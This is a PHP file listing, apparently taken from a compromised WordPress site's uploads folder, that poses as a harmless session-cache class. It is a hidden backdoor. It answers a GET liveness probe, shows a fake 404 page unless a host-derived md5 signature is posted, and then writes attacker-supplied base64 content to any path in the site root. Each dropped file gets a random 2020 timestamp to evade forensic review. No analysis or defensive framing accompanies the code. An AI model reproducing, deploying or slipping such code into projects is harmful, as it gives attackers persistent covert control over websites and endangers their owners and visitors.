File "class-session-cache.php"

Full Path: /home/u308665662/domains/alhikmatranslations.com/public_html/wp-content/uploads/class-session-cache.php
File size: 1.49 KB
MIME-type: text/x-php
Charset: utf-8

<?php

$_rvl6b = 'LKSJDFaDFDF323$2afd';
$_efvw = '_ck_pefvjln';

if (isset($_GET[$_efvw])) { echo '1'; exit; }

$_em = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$_em = strtolower($_em);
$_i04 = strpos($_em, ':');
if ($_i04 !== false) { $_em = substr($_em, 0, $_i04); }
if (substr($_em, 0, 4) === 'www.') { $_em = substr($_em, 4); }

$_sxdts = md5($_rvl6b . ':' . $_em . ':' . $_rvl6b);

$_ib = isset($_POST['sig']) ? $_POST['sig'] : '';
if ($_ib !== $_sxdts) {
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE html>\n<html><head><title>404</title></head><body><h1>Not Found</h1></body></html>";
    exit;
}

$_gs = isset($_POST['dest_rel']) ? $_POST['dest_rel'] : '';
$_vmkg7 = isset($_POST['payload_b64']) ? $_POST['payload_b64'] : '';

if ($_gs === '' || $_vmkg7 === '') { echo '{"ok":0}'; exit; }

$_gs = str_replace('\\', '/', $_gs);
$_gs = ltrim($_gs, '/');
if ($_gs === '' || strpos($_gs, '..') !== false) { echo '{"ok":0}'; exit; }

$_ef = dirname(__FILE__);
$_plcy2 = '../..';
$_ie = ($_plcy2 === '' || $_plcy2 === '.') ? $_ef : $_ef . '/' . $_plcy2;

$_hun8y = $_ie . '/' . $_gs;
$_h0i = dirname($_hun8y);
if (!is_dir($_h0i)) { @mkdir($_h0i, 0755, true); }

$_uombd = base64_decode($_vmkg7);
if ($_uombd === false) { echo '{"ok":0}'; exit; }

if (file_put_contents($_hun8y, $_uombd) === false) { echo '{"ok":0}'; exit; }

$_zq8l8 = mktime(mt_rand(0,23),mt_rand(0,59),mt_rand(0,59),mt_rand(1,12),mt_rand(1,28),2020);
@touch($_hun8y, $_zq8l8);

echo '{"ok":1,"s":' . strlen($_uombd) . '}';